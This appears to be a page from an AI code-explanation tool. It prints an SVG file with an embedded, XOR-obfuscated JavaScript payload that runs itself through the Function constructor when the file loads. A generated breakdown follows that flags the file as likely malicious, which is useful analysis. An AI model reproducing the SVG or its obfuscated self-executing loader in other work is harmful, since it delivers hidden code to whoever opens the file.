This code is a complex SVG file containing embedded JavaScript....

July 3, 2025 at 04:41 AM

 <?xml version="1.0" encoding="UTF-8" standalone="no"?>

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250"> <script> <![CDATA[

S = 'xxxxxx'; (() => { const i = "bdd65fd0865d8e48898806a4", j = "150d0a525a114a5c57555410510a5a16504b5d5e100b4155160b061e55072c62581d12545b2d13131a740e74121d434d5a1d461d55043057581d12505a571313585a4d62501d015a340e041d123f09091f1d121174081313586f4274501d46042452431d55373254581d5529593254131a77086e121d46042055431d552b1e7e581d122b620c13131a01531a191d320f"; const u = j.match(/.{2}/g), T = []; for (let B = 0; B < u.length; B++) { T.push(String.fromCharCode(parseInt(u[B], 16) ^ i.charCodeAt(B % i.length))); } const s = T.join(''); const A = { toString: () => { const r = [][ [115,111,109,101].map(y => String.fromCharCode(y)).join('') ][ [99,111,110,115,116,114,117,99,116,111,114].map(y => String.fromCharCode(y)).join('') ]; return r(s)(), 1; } }; A + ''; })(); ]]> </script> </svg>

This code is a complex SVG file containing embedded JavaScript. The JavaScript performs obfuscated operations to produce and execute some encoded payload. Here’s a high-level breakdown of what happens:

XML Definition and SVG Setup:
- The <svg> tag defines an SVG with the XML namespace and a specific width and height.
- It contains an embedded <script> element in the form of a <![CDATA[ ]]> block to encapsulate JavaScript.
Declared Variables:
- S is set to 'xxxxxx', which isn't directly used elsewhere in the code, likely a placeholder.
- i is a hardcoded string ("bdd65fd0865d8e48898806a4").
- j is a long string of hexadecimal values.
Hexadecimal Decoding with XOR Operation:
- The script splits j into chunks of 2 characters (using match(/.{2}/g)), converting each into a byte via parseInt(u[B], 16).
- These bytes are XOR-ed with characters of string i, which acts as a key (i.charCodeAt(B % i.length)).
- The resulting characters are joined into a decoded string, s.
Dynamic Execution:
- The decoded payload (s) appears to be passed to a dynamic execution mechanism.
- The script constructs a dynamically-determined method (using arrays mapping characters to strings), which likely evaluates or executes the payload based on the result of the obfuscated operations.
Likely Results:
- The exact functionality of the code depends on the dynamically generated payload (s).
- However, the use of obfuscation techniques suggests the decoded payload performs hidden functionality, potentially malicious, including but not limited to:
  - Creating a new script or running code dynamically.
  - Exploiting vulnerabilities in SVG rendering systems.
- The line const r = []["some"]["constructor"]. exploits the inherent methods of JavaScript objects like Function or eval to execute the decoded string.

Summary:

This code is an obfuscated JavaScript payload embedded in an SVG file. It decodes a hexadecimal-encoded string using XOR and dynamically executes it. The purpose of the code is unclear due to its obfuscation but often aligns with malicious intentions such as exploiting systems or delivering malware. Caution should be taken when encountering such constructs.

Generate your own explanations

Download our vscode extension

Read other generated explanations

Built by @thebuilderjr